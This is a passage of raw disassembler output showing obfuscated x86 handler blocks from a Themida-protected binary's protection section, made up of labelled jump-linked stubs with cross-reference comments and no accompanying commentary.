jmp loc_59263A
; ---------------------------------------------------------------------------
loc_59A61C: ; CODE XREF: Themida_:00598FABj
add bl, 3Dh
mov cl, bl
pop ebx
sub cl, 0A5h
jmp loc_593429
; ---------------------------------------------------------------------------
loc_59A62A: ; CODE XREF: Themida_:00595ACFj
push esi
mov esi, 39B111AFh
add esi, 50FF094Eh
neg esi
or esi, 452041AEh
sub esi, 3AFA4B4Bh
add esi, 0C58A659Bh
sub ebp, esi
jmp loc_59529F
; ---------------------------------------------------------------------------
loc_59A651: ; CODE XREF: Themida_:005A2F51j
push esi
mov esi, 2B685CC4h
sub esp, 4
mov [esp], edi
push ebp
mov ebp, 633C1039h
mov edi, ebp
pop ebp
not edi
not edi
and edi, 9B75873h
jmp loc_59EDD4
; ---------------------------------------------------------------------------
loc_59A675: ; CODE XREF: Themida_:0059B41Aj
mov esi, 5817AD7Eh
jmp loc_59D650
; ---------------------------------------------------------------------------
loc_59A67F: ; CODE XREF: Themida_:00595728j
and [esp], eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59A688: ; CODE XREF: Themida_:005A13B5j
mov ebp, [esp]
add esp, 4
push esi
jmp loc_58E800
; ---------------------------------------------------------------------------
loc_59A697: ; CODE XREF: Themida_:0059AEF9j
pop ebx
jmp loc_598E20
; ---------------------------------------------------------------------------
loc_59A69D: ; CODE XREF: Themida_:0059BD85j
push 1D53h
mov [esp], ebx
mov ebx, 346F6C5Bh
inc ebx
jmp loc_5A20C4
; ---------------------------------------------------------------------------
loc_59A6B0: ; CODE XREF: Themida_:0059FF99j
sub dl, 1Bh
mov bh, dl
jmp loc_59647B
; ---------------------------------------------------------------------------
loc_59A6BA: ; CODE XREF: Themida_:0059FBA8j
pop ebx
mov [edi+eax*4], dl
mov edx, [esp]
add esp, 4
mov ecx, [esp]
push edx
mov edx, esp
push esi
mov esi, 51AB2B09h
inc esi
jmp loc_58E370
; ---------------------------------------------------------------------------
loc_59A6D9: ; CODE XREF: Themida_:0059667Cj
add ebx, eax
push ecx
mov ecx, 68096699h
inc ecx
jmp loc_5A1E9E
; ---------------------------------------------------------------------------
loc_59A6E7: ; CODE XREF: Themida_:00595F1Dj
add esp, 4
push esi
jmp loc_5A2BD0
; ---------------------------------------------------------------------------
loc_59A6F0: ; CODE XREF: Themida_:0058EDEFj
push dword ptr [esp]
mov ebx, [esp]
push ebp
mov ebp, esp
jmp loc_5A0103
; ---------------------------------------------------------------------------
loc_59A6FE: ; CODE XREF: Themida_:0059F271j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59A703: ; CODE XREF: Themida_:005942FFj
not ebp
jmp loc_59F113
; ---------------------------------------------------------------------------
loc_59A70A: ; CODE XREF: Themida_:0059C7D4j
xor al, bl
push 1211h
mov [esp], edx
mov dh, 0CAh
inc dh
push ax
mov al, dh
not al
mov dh, al
pop ax
sub dh, 0DFh
add dh, 18h
jmp loc_5A21BC
; ---------------------------------------------------------------------------
loc_59A72D: ; CODE XREF: Themida_:0059874Fj
shr ebp, 6
sub ebp, 3FFFA7Bh
sub ebx, 4D0B5159h
add ebx, 48D2F42h
add ebx, ebp
sub ebx, 48D2F42h
add ebx, 4D0B5159h
jmp loc_59AAF2
; ---------------------------------------------------------------------------
loc_59A755: ; CODE XREF: Themida_:00591CA6j
add eax, 22253469h
add eax, 53677D88h
jmp loc_59235D
; ---------------------------------------------------------------------------
loc_59A764: ; CODE XREF: Themida_:0059124Fj
mov edi, [esp]
add esp, 4
jmp loc_58EA6D
; ---------------------------------------------------------------------------
loc_59A76F: ; CODE XREF: Themida_:005A2E58j
xchg ebp, [esp]
pop esp
jmp loc_59BC2D
; ---------------------------------------------------------------------------
loc_59A778: ; CODE XREF: Themida_:0059AD7Cj
xor ecx, 0A4400B8h
add edx, ecx
pop ecx
xchg edx, [esp]
jmp loc_59F1FE
; ---------------------------------------------------------------------------
loc_59A789: ; CODE XREF: Themida_:00599C1Bj
sub eax, 41F83731h
jmp loc_5916B3
; ---------------------------------------------------------------------------
loc_59A793: ; CODE XREF: Themida_:005A30D8j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_593A6E
; ---------------------------------------------------------------------------
loc_59A7A1: ; CODE XREF: Themida_:0059BC3Fj
sub dword ptr [esp+4], 3DF847E4h
push dword ptr [esp]
pop eax
jmp loc_5920E8
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edi
mov edi, esp
add edi, 4
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_59E1D5
; ---------------------------------------------------------------------------
loc_59A7D0: ; CODE XREF: Themida_:0059D07Bj
pop esp
sub esp, 4
mov [esp], edi
push 3CCDh
mov [esp], ebx
jmp loc_5999D0
; ---------------------------------------------------------------------------
loc_59A7E7: ; CODE XREF: Themida_:005A0DBEj
sub esi, ecx
pop ecx
push ebp
mov ebp, 713531E5h
shl ebp, 6
jmp loc_594019
; ---------------------------------------------------------------------------
loc_59A7F8: ; CODE XREF: Themida_:005A03A1j
add esp, 4
xor eax, 4F335291h
sub esi, 5EB22F03h
add esi, eax
push edx
mov edx, 5EB22F03h
add esi, edx
pop edx
pop eax
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push 7957h
mov [esp], ecx
mov ecx, 53053A75h
push edi
jmp loc_5933CA
; ---------------------------------------------------------------------------
loc_59A832: ; CODE XREF: Themida_:005A2EB3j
add ebx, edx
pop edx
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov cx, [esp]
sub esp, 4
jmp loc_5962D2
; ---------------------------------------------------------------------------
loc_59A856: ; CODE XREF: Themida_:00599C14j
add ecx, 4
xchg ecx, [esp]
pop esp
push eax
mov al, 0B2h
or al, 6Dh
jmp loc_590AE8
; ---------------------------------------------------------------------------
loc_59A86A: ; CODE XREF: Themida_:0059003Aj
push edi
mov edi, 65133A83h
sub edi, 0FFFFFFFFh
and edi, 2FF729D6h
jmp loc_599D06
; ---------------------------------------------------------------------------
loc_59A87E: ; CODE XREF: Themida_:0059FC7Fj
pop esp
mov [esp], edx
sub esp, 4
mov [esp], eax
mov al, 93h
inc al
shl al, 2
neg al
inc al
add al, 0D8h
jmp loc_58FA47
; ---------------------------------------------------------------------------
loc_59A89D: ; CODE XREF: Themida_:00597B5Ej
push ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59A8A5: ; CODE XREF: Themida_:00598995j
xor ecx, 41AA0F7Dh
push edx
mov edx, 0CA71D640h
xor ecx, edx
pop edx
add eax, 2D367B4Eh
sub eax, ecx
sub eax, 2D367B4Eh
pop ecx
push dword ptr [esp]
pop esi
jmp loc_59DF50
; ---------------------------------------------------------------------------
loc_59A8CA: ; CODE XREF: Themida_:00590B73j
neg edx
jmp loc_5998EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59A8D1: ; CODE XREF: sub_590877-1460j
add edi, ecx
sub edi, 132002E2h
jmp loc_58FF33
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59A8DE: ; CODE XREF: Themida_:00594AD2j
push ebx
jmp loc_597164
; ---------------------------------------------------------------------------
loc_59A8E4: ; CODE XREF: Themida_:0059B1B0j
add edx, ebp
sub edx, 29F077F6h
jmp loc_59F2A0
; ---------------------------------------------------------------------------
loc_59A8F1: ; CODE XREF: Themida_:005982DFj
add [esp+4], ebp
pop ebp
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
push ebx
push edx
mov edx, 3F502C6h
jmp loc_58F12A
; ---------------------------------------------------------------------------
loc_59A911: ; CODE XREF: Themida_:0058EDDFj
pop esp
jmp loc_5A2E49
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop edx
jmp loc_594DDF
; ---------------------------------------------------------------------------
loc_59A923: ; CODE XREF: Themida_:0059E663j
mov eax, [esp]
add esp, 4
jmp loc_59BEDA
; ---------------------------------------------------------------------------
loc_59A931: ; CODE XREF: Themida_:005901A8j
xor dh, ah
mov eax, [esp]
add esp, 4
xor al, dh
pop edx
jmp loc_58FAD7
; ---------------------------------------------------------------------------
loc_59A944: ; CODE XREF: Themida_:005A26E5j
pop ebp
sub eax, 0FFFFFFFFh
push ebp
mov ebp, 41607E41h
jmp loc_594592
; ---------------------------------------------------------------------------
loc_59A953: ; CODE XREF: Themida_:0059793Cj
mov edx, esp
jmp loc_59AB43
; ---------------------------------------------------------------------------
loc_59A95A: ; CODE XREF: Themida_:005A29EAj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], ebp
push 1C9Fh
mov [esp], ebx
jmp loc_5953CE
; ---------------------------------------------------------------------------
loc_59A976: ; CODE XREF: Themida_:00599EC2j
pop ebp
add ebp, eax
mov eax, [esp]
add esp, 4
mov edx, ebp
pop ebp
loc_59A982: ; CODE XREF: Themida_:0059B249j
; Themida_:0059EB2Dj
push dword ptr [edi+24h]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59287B
; ---------------------------------------------------------------------------
loc_59A990: ; CODE XREF: Themida_:00597767j
pop edx
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59A99C: ; CODE XREF: Themida_:00591DBAj
shr ah, 7
xor ah, 6Eh
jmp loc_592816
; ---------------------------------------------------------------------------
loc_59A9A7: ; CODE XREF: Themida_:005A07AFj
sub ebx, eax
sub ebx, 40E73D33h
push ecx
push edx
mov edx, 15514A6Bh
push esi
mov esi, 49E9293Eh
or edx, esi
jmp loc_5945D3
; ---------------------------------------------------------------------------
loc_59A9C3: ; CODE XREF: Themida_:005A0F3Cj
sub ebx, 383C1B69h
add ebx, 4F41220Dh
add ebx, 1953271Dh
add ebx, 486F476Fh
mov [ebx], edx
pop ebx
mov eax, [esp]
add esp, 4
jmp loc_598AFF
; ---------------------------------------------------------------------------
loc_59A9EC: ; CODE XREF: Themida_:005A30E5j
push esp
pop edx
jmp loc_58FDB9
; ---------------------------------------------------------------------------
loc_59A9F3: ; CODE XREF: Themida_:005A2A66j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59A9F8: ; CODE XREF: Themida_:0058E811j
xor esi, [esp]
pop esp
jmp loc_59DFCF
; ---------------------------------------------------------------------------
loc_59AA01: ; CODE XREF: Themida_:00591796j
mov edi, 4
add edx, 46E7575Bh
add edx, 0B450D70h
add edx, edi
sub edx, 0B450D70h
sub edx, 46E7575Bh
pop edi
push 6E78h
mov [esp], ecx
push 6D9Ch
mov [esp], ebx
mov ebx, 64F348B9h
inc ebx
or ebx, 4A08473Fh
add ebx, 0C6E7E890h
mov ecx, ebx
pop ebx
neg ecx
shl ecx, 5
push esi
jmp loc_591432
; ---------------------------------------------------------------------------
loc_59AA51: ; CODE XREF: Themida_:00593194j
mov [esp], esi
jmp loc_5A123B
; ---------------------------------------------------------------------------
loc_59AA59: ; CODE XREF: Themida_:0059CA0Ej
sub eax, 0CCFF630h
mov edx, eax
jmp loc_598968
; ---------------------------------------------------------------------------
loc_59AA65: ; CODE XREF: Themida_:005A1185j
mov edi, [esp]
jmp loc_594E7C
; ---------------------------------------------------------------------------
loc_59AA6D: ; CODE XREF: Themida_:005905C0j
pop ecx
add esp, 4
push ebx
jmp loc_5A2066
; ---------------------------------------------------------------------------
loc_59AA77: ; CODE XREF: Themida_:005923D3j
pop ecx
jmp loc_5983AA
; ---------------------------------------------------------------------------
loc_59AA7D: ; CODE XREF: Themida_:005929A6j
mov bx, [esp]
add esp, 2
push 3469h
mov [esp], edx
mov dx, 7998h
push dx
not word ptr [esp]
jmp loc_58F10F
; ---------------------------------------------------------------------------
loc_59AA9E: ; CODE XREF: Themida_:00599DEFj
pop esi
add edi, ecx
add edi, 41F14F36h
pop ecx
add edi, 4
jmp loc_5A00D7
; ---------------------------------------------------------------------------
loc_59AAB0: ; CODE XREF: Themida_:00595EA9j
mov edx, 66E357B8h
shl edx, 8
jmp loc_597D9D
; ---------------------------------------------------------------------------
loc_59AABD: ; CODE XREF: Themida_:0058F77Aj
pop eax
shl edx, 2
sub edx, 0FBAE1AFh
add eax, edx
pop edx
jmp loc_5A1743
; ---------------------------------------------------------------------------
loc_59AACF: ; CODE XREF: Themida_:00598000j
dec dword ptr [esp]
pop edx
push ebp
push 0DF01F21h
pop ebp
jmp loc_58E9B3
; ---------------------------------------------------------------------------
loc_59AADF: ; CODE XREF: Themida_:0059005Aj
sub ebx, eax
jmp loc_59AFA0
; ---------------------------------------------------------------------------
loc_59AAE6: ; CODE XREF: Themida_:00599E91j
mov esi, 4
add edi, esi
jmp loc_59A117
; ---------------------------------------------------------------------------
loc_59AAF2: ; CODE XREF: Themida_:0059A750j
mov ebp, [esp]
jmp loc_59C228
; ---------------------------------------------------------------------------
loc_59AAFA: ; CODE XREF: Themida_:005949CCj
mov [esp], ebx
mov ebx, 21FA2330h
mov esi, 1720F4EFh
jmp loc_5901AD
; ---------------------------------------------------------------------------
loc_59AB0C: ; CODE XREF: Themida_:005A0302j
pop ebx
shl ecx, 6
xor ecx, eax
xor eax, ecx
xor ecx, eax
xor eax, ecx
xor ecx, eax
jmp loc_5A2FF7
; ---------------------------------------------------------------------------
loc_59AB1F: ; CODE XREF: Themida_:0059BE79j
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5A06AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59AB32: ; CODE XREF: sub_590877+E6CCj
add ebx, 4
push ebx
push [esp+8+var_4]
push [esp+0Ch+var_C]
pop ebx
jmp loc_5A2BE2
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59AB43: ; CODE XREF: Themida_:0059A955j
add edx, 4
sub edx, 4
jmp loc_59FD97
; ---------------------------------------------------------------------------
loc_59AB51: ; CODE XREF: Themida_:0059CC24j
mov [esp], edi
push dword ptr [esp]
pop eax
push esi
push esp
pop esi
jmp loc_590AFF
; ---------------------------------------------------------------------------
loc_59AB60: ; CODE XREF: Themida_:005978A9j
sub edx, 6B25776Dh
add edx, eax
add edx, 6B25776Dh
pop eax
add edx, 4
xchg edx, [esp]
pop esp
add ebx, 2
push 30B8h
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59AB9B: ; CODE XREF: Themida_:005917BCj
add edx, 128B172Ch
add edx, eax
push 16AFh
jmp loc_5A2F5C
; ---------------------------------------------------------------------------
loc_59ABAD: ; CODE XREF: Themida_:00593B78j
push ecx
mov ecx, 28F1170Eh
push ebp
jmp loc_59798D
; ---------------------------------------------------------------------------
loc_59ABB9: ; CODE XREF: Themida_:00593A69j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ecx
mov ecx, 14F36A82h
add ecx, 3F2BF8FDh
xor edi, ecx
mov ecx, [esp]
jmp loc_59F6D6
; ---------------------------------------------------------------------------
loc_59ABDB: ; CODE XREF: Themida_:0059F379j
xor edi, 36AF26F8h
push dword ptr [esp]
pop edx
add esp, 4
sub eax, 1C2E6EECh
sub eax, edi
add eax, 1C2E6EECh
jmp loc_598859
; ---------------------------------------------------------------------------
loc_59ABF9: ; DATA XREF: Themida_:0058E08Co
mov ax, [esp]
sub esp, 4
jmp loc_59D5F9
; ---------------------------------------------------------------------------
loc_59AC05: ; CODE XREF: Themida_:005950E9j
neg ebx
push edi
jmp loc_593EDF
; ---------------------------------------------------------------------------
loc_59AC0D: ; CODE XREF: Themida_:00596D1Fj
pop ebx
sub esp, 4
jmp loc_599718
; ---------------------------------------------------------------------------
loc_59AC19: ; CODE XREF: Themida_:00591EF5j
mov dh, 0E1h
mov bh, 0D5h
sub bh, dh
pop edx
jmp loc_59914C
; ---------------------------------------------------------------------------
loc_59AC25: ; CODE XREF: Themida_:0059031Bj
pop ecx
jmp loc_5926FC
; ---------------------------------------------------------------------------
loc_59AC2B: ; CODE XREF: Themida_:005902DCj
add esp, 4
jmp loc_5A0E7A
; ---------------------------------------------------------------------------
loc_59AC33: ; CODE XREF: Themida_:005924C7j
shr cl, 4
add cl, 55h
add dh, cl
jmp loc_59D6DD
; ---------------------------------------------------------------------------
loc_59AC40: ; CODE XREF: Themida_:0059DD8Fj
mov ecx, esp
add ecx, 4
jmp loc_58E393
; ---------------------------------------------------------------------------
loc_59AC4D: ; CODE XREF: Themida_:0059248Ej
and dl, 44h
push ax
mov al, 0C0h
jmp loc_58EBAD
; ---------------------------------------------------------------------------
loc_59AC59: ; CODE XREF: Themida_:005A03E9j
sub ebx, 5CE7066Fh
jmp loc_59FD3D
; ---------------------------------------------------------------------------
loc_59AC64: ; CODE XREF: Themida_:0059D3BBj
shr ebx, 6
inc ebx
shl ebx, 6
xor ebx, 2F6606F0h
add ecx, ebx
mov ebx, [esp]
jmp loc_5A1090
; ---------------------------------------------------------------------------
loc_59AC7B: ; CODE XREF: Themida_:00590DC2j
push dword ptr [esp]
jmp loc_598151
; ---------------------------------------------------------------------------
loc_59AC83: ; CODE XREF: Themida_:0058FAB6j
neg eax
not eax
jmp loc_59FBD7
; ---------------------------------------------------------------------------
loc_59AC8C: ; CODE XREF: Themida_:005A0D42j
pop edi
add ebp, 3674652Ah
add ebp, esi
jmp loc_595116
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59F498
; ---------------------------------------------------------------------------
loc_59ACA5: ; CODE XREF: Themida_:005910E7j
pop esp
mov edx, [esp]
add esp, 4
add edx, 4
push 361Ah
mov [esp], edi
mov edi, 49226421h
push ebp
mov ebp, 4922641Dh
sub edi, ebp
pop ebp
add edx, edi
pop edi
jmp loc_5995B6
; ---------------------------------------------------------------------------
loc_59ACD0: ; CODE XREF: Themida_:005968BBj
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59ACDC: ; CODE XREF: Themida_:0059E21Dj
push dword ptr [esp+4]
jmp loc_5984DB
; ---------------------------------------------------------------------------
loc_59ACE5: ; CODE XREF: Themida_:005A2B1Cj
pop esi
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
push ecx
jmp loc_59CE6B
; ---------------------------------------------------------------------------
loc_59ACF8: ; CODE XREF: Themida_:0059D184j
mov ebp, esi
mov esi, [esp]
add esp, 4
push edi
push ecx
mov ecx, ebp
mov edi, ecx
jmp loc_59DEC3
; ---------------------------------------------------------------------------
loc_59AD0E: ; CODE XREF: Themida_:005988EFj
mov dl, al
jmp loc_594B05
; ---------------------------------------------------------------------------
loc_59AD15: ; CODE XREF: Themida_:00596763j
and ebx, 72F2408Bh
push edx
mov edx, 74404B12h
sub ebx, edx
pop edx
add ebp, ebx
pop ebx
add edx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_598C52
; ---------------------------------------------------------------------------
loc_59AD35: ; CODE XREF: Themida_:005A2755j
sub esp, 4
mov [esp], edi
mov edi, 0FFFFFFFFh
jmp loc_596C38
; ---------------------------------------------------------------------------
loc_59AD48: ; CODE XREF: Themida_:0059B763j
pop esp
pop dword ptr [esp]
mov esp, [esp]
div cl
jmp loc_5A04DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B86E
loc_59AD56: ; CODE XREF: sub_59B86E-30D7j
pop esp
add esp, 4
push 55D6h
mov [esp+8+var_8], ebp
push esp
jmp loc_58E816
; END OF FUNCTION CHUNK FOR sub_59B86E
; ---------------------------------------------------------------------------
loc_59AD6B: ; CODE XREF: Themida_:00597C88j
mov ecx, 5CC2175Dh
sub ecx, 4DD367A0h
and ecx, 3A5510FEh
jmp loc_59A778
; ---------------------------------------------------------------------------
loc_59AD81: ; CODE XREF: Themida_:005A1CA9j
add ecx, 4
add ecx, 4
jmp loc_597258
; ---------------------------------------------------------------------------
loc_59AD92: ; CODE XREF: Themida_:0059F70Cj
add edx, 4
xchg edx, [esp]
jmp loc_58FEDF
; ---------------------------------------------------------------------------
loc_59ADA0: ; CODE XREF: Themida_:0059904Bj
add esi, ebx
pop ebx
xchg esi, [esp]
pop esp
shr edi, 6
push ebp
mov ebp, 315E09CFh
or edi, ebp
jmp loc_59520F
; ---------------------------------------------------------------------------
loc_59ADB7: ; CODE XREF: Themida_:0059A103j
mov eax, [esp]
add esp, 4
sub ebx, eax
push edi
jmp loc_594234
; ---------------------------------------------------------------------------
loc_59ADC5: ; CODE XREF: Themida_:00592B5Ej
pop ecx
jmp loc_59D8AA
; ---------------------------------------------------------------------------
loc_59ADCB: ; CODE XREF: Themida_:00592CD4j
add edi, 0C86546Ah
pop eax
add edi, 69C46145h
sub edi, ebx
sub edi, 69C46145h
jmp loc_59F464
; ---------------------------------------------------------------------------
loc_59ADE5: ; CODE XREF: Themida_:005978B3j
add ebp, 10B579BBh
sub ebp, 0ECC52232h
jmp loc_598A94
; ---------------------------------------------------------------------------
loc_59ADF6: ; CODE XREF: Themida_:0058FE50j
xchg edx, [esp]
pop esp
push 46C0h
mov [esp], ebp
mov ebp, 596B1645h
xor ebp, 596B1641h
add edx, ebp
pop ebp
push 0DEAh
mov [esp], eax
mov eax, 34F26719h
shl eax, 8
push 0EACh
mov [esp], edx
jmp loc_591247
; ---------------------------------------------------------------------------
loc_59AE2D: ; CODE XREF: Themida_:005A213Bj
xor edi, ebx
pop ebx
push 383Bh
jmp loc_595BE9
; ---------------------------------------------------------------------------
loc_59AE3A: ; CODE XREF: Themida_:00592125j
add eax, 76FF0F83h
add ebx, eax
pop eax
xchg ebx, [esp]
mov esp, [esp]
jmp loc_594FAB
; ---------------------------------------------------------------------------
loc_59AE4D: ; CODE XREF: Themida_:0058EF9Cj
mov eax, 149E1FECh
inc eax
xchg eax, esi
jmp loc_59A28C
; ---------------------------------------------------------------------------
loc_59AE59: ; CODE XREF: Themida_:00591DD4j
mov esp, [esp]
xor ebx, eax
push 5C52h
mov [esp], eax
mov eax, 121B5DEAh
add edx, eax
pop eax
jmp loc_59081B
; ---------------------------------------------------------------------------
loc_59AE73: ; CODE XREF: Themida_:00592B8Bj
or ebx, ebp
pop ebp
jmp loc_596536
; ---------------------------------------------------------------------------
loc_59AE7B: ; CODE XREF: Themida_:00590FADj
sub eax, ebx
add eax, 4C7C2BD3h
push ebp
jmp loc_59CA37
; ---------------------------------------------------------------------------
loc_59AE88: ; CODE XREF: Themida_:00597B88j
add esp, 4
add eax, ecx
pop ecx
add eax, 12EC66D9h
sub esp, 4
mov [esp], ecx
mov ecx, 5C64623Fh
xor ecx, 5D866B39h
add eax, ecx
pop ecx
pop ecx
push 502Eh
mov [esp], esi
mov esi, 247C30EDh
sub esp, 4
mov [esp], edi
jmp loc_59E9B5
; ---------------------------------------------------------------------------
loc_59AEC0: ; CODE XREF: Themida_:00597C14j
sub eax, 437FFFFBh
push 3E01h
mov [esp], esi
mov esi, 6A0B36A1h
sub ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_595F11
; ---------------------------------------------------------------------------
loc_59AEDF: ; CODE XREF: Themida_:005A012Ej
xor edx, 56B0E37h
mov eax, edx
pop edx
add eax, 2812055Dh
sub eax, 5AE0F84Bh
jmp loc_593541
; ---------------------------------------------------------------------------
loc_59AEF7: ; CODE XREF: Themida_:0058F9B3j
sub ecx, ebx
jmp loc_59A697
; ---------------------------------------------------------------------------
loc_59AEFE: ; CODE XREF: Themida_:0059903Fj
xor ch, al
pop eax
add al, ch
pop ecx
push edx
mov dl, 0C6h
add dl, 26h
or dl, 0E8h
xor dl, 1Eh
add al, dl
pop edx
jmp loc_590400
; ---------------------------------------------------------------------------
loc_59AF18: ; CODE XREF: Themida_:00591202j
push esp
pop eax
jmp loc_590EC4
; ---------------------------------------------------------------------------
loc_59AF1F: ; CODE XREF: Themida_:0059D4E6j
mov [esp], ebx
mov ebx, 3D1A35E1h
mov edx, 3D1A35E5h
push ebp
mov ebp, 310A64D2h
add edx, ebp
pop ebp
sub edx, ebx
push eax
mov eax, 310A64D2h
sub edx, 67842B08h
sub edx, eax
add edx, 67842B08h
pop eax
mov ebx, [esp]
add esp, 4
add ecx, 2F6665Fh
add ecx, edx
sub ecx, 2F6665Fh
mov edx, [esp]
jmp loc_597830
; ---------------------------------------------------------------------------
loc_59AF68: ; CODE XREF: Themida_:00598B68j
add esi, 4
sub esp, 4
mov [esp], ecx
jmp loc_59198F
; ---------------------------------------------------------------------------
loc_59AF7C: ; CODE XREF: Themida_:0059EC5Bj
mov [esp], edx
jmp loc_59A335
; ---------------------------------------------------------------------------
loc_59AF84: ; CODE XREF: Themida_:0059E24Aj
add edi, ecx
jmp loc_5928F7
; ---------------------------------------------------------------------------
loc_59AF8B: ; CODE XREF: Themida_:0059F8B4j
mov eax, 39B50B73h
jmp loc_5919ED
; ---------------------------------------------------------------------------
loc_59AF95: ; CODE XREF: Themida_:0059CCF2j
sub edi, 239AD4B4h
jmp loc_59DD8B
; ---------------------------------------------------------------------------
loc_59AFA0: ; CODE XREF: Themida_:0059AAE1j
pop eax
not ebx
and ebx, 41D14B0Fh
sub ebx, 7099780Dh
add ebx, 4A7C94D7h
mov ecx, ebx
mov ebx, [esp]
add esp, 4
sub ecx, 0D9F2B9Ch
xor ecx, 0D9B0254Dh
add edx, ecx
jmp loc_58F426
; ---------------------------------------------------------------------------
loc_59AFD3: ; CODE XREF: Themida_:005A2213j
pop eax
jmp loc_596F4E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59AFE9: ; CODE XREF: Themida_:0059C2A7j
sub esi, 2CFA6C38h
jmp loc_59BEE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D30F
loc_59AFF4: ; CODE XREF: sub_59D30F+Fj
sub ebp, eax
pop eax
jmp sub_59B86E
; END OF FUNCTION CHUNK FOR sub_59D30F
; ---------------------------------------------------------------------------
loc_59AFFC: ; CODE XREF: Themida_:0059478Fj
pop ecx
add ecx, 76FE5D2Ch
pop edx
shl ecx, 8
sub ecx, 6F1F4C33h
shr ecx, 1
shr ecx, 7
xor ecx, 6C3CADh
mov edx, ecx
pop ecx
sub ebx, 65274136h
jmp loc_59F568
; ---------------------------------------------------------------------------
loc_59B026: ; DATA XREF: Themida_:0058E07Co
push dword ptr [edi+3Ch]
xor dword ptr [esp], 31073719h
push dword ptr [esp]
jmp loc_59C570
; ---------------------------------------------------------------------------
loc_59B038: ; CODE XREF: Themida_:0059A34Bj
add esp, 4
jmp loc_5A1A83
; ---------------------------------------------------------------------------
loc_59B040: ; CODE XREF: Themida_:0059F74Ej
pop ecx
push 5DC8h
mov [esp], ecx
jmp loc_5A2253
; ---------------------------------------------------------------------------
loc_59B04E: ; CODE XREF: Themida_:0059B58Dj
push 265h
mov [esp], ebp
mov ebp, 34D57105h
and ecx, ebp
jmp loc_593167
; ---------------------------------------------------------------------------
loc_59B062: ; CODE XREF: Themida_:00598DCCj
mov [esp], esi
mov edx, [esp]
add esp, 4
jmp loc_59BBA8
; ---------------------------------------------------------------------------
lodsd
push ebx
sub esp, 4
mov [esp], edx
mov edx, 340375DEh
jmp loc_591702
; ---------------------------------------------------------------------------
loc_59B082: ; CODE XREF: Themida_:00594CCFj
push esi
jmp loc_590BC1
; ---------------------------------------------------------------------------
loc_59B088: ; CODE XREF: Themida_:005911BCj
add esp, 4
add [esp+4], edi
pop edi
pop edx
push ecx
mov ecx, 78475AECh
not ecx
inc ecx
shl ecx, 2
jmp loc_592C87
; ---------------------------------------------------------------------------
loc_59B0A2: ; CODE XREF: Themida_:0058F933j
pop eax
jmp loc_592B2F
; ---------------------------------------------------------------------------
loc_59B0A8: ; CODE XREF: Themida_:00595032j
sub ecx, edx
sub ecx, 59710694h
mov edx, ecx
pop ecx
sub edx, 0FA2CE024h
push esi
jmp loc_596F1D
; ---------------------------------------------------------------------------
loc_59B0BF: ; CODE XREF: Themida_:0059216Aj
push ebp
jmp loc_5945C9
; ---------------------------------------------------------------------------
loc_59B0C5: ; CODE XREF: Themida_:00590A68j
push esi
mov esi, 4093759Bh
jmp loc_5A1367
; ---------------------------------------------------------------------------
loc_59B0D0: ; CODE XREF: Themida_:005950BCj
pop bp
add di, si
jmp loc_59FACB
; ---------------------------------------------------------------------------
loc_59B0DA: ; CODE XREF: Themida_:0059E634j
push 5C24h
jmp loc_590DEB
; ---------------------------------------------------------------------------
loc_59B0E4: ; CODE XREF: Themida_:00592C0Bj
pop dword ptr [esp]
jmp loc_5992D2
; ---------------------------------------------------------------------------
loc_59B0EC: ; CODE XREF: Themida_:0059F1F9j
pop esi
push 19A7h
jmp loc_597D67
; ---------------------------------------------------------------------------
loc_59B0F7: ; CODE XREF: Themida_:00598E68j
mov [esp], edx
jmp loc_58E3DB
; ---------------------------------------------------------------------------
loc_59B0FF: ; CODE XREF: Themida_:005A052Dj
pop ecx
mov ch, al
jmp loc_59F6DC
; ---------------------------------------------------------------------------
loc_59B107: ; CODE XREF: Themida_:005978DCj
not edi
sub edi, 6AC0ED01h
jmp loc_597ED0
; ---------------------------------------------------------------------------
loc_59B114: ; CODE XREF: Themida_:0059D7BAj
mov edx, esp
jmp loc_59D4BE
; ---------------------------------------------------------------------------
loc_59B11B: ; CODE XREF: Themida_:005A31DBj
mov edi, eax
jmp loc_59CC1F
; ---------------------------------------------------------------------------
loc_59B122: ; CODE XREF: Themida_:0059E770j
xchg esi, [esp]
pop esp
mov edx, [esp]
jmp loc_5A0CC7
; ---------------------------------------------------------------------------
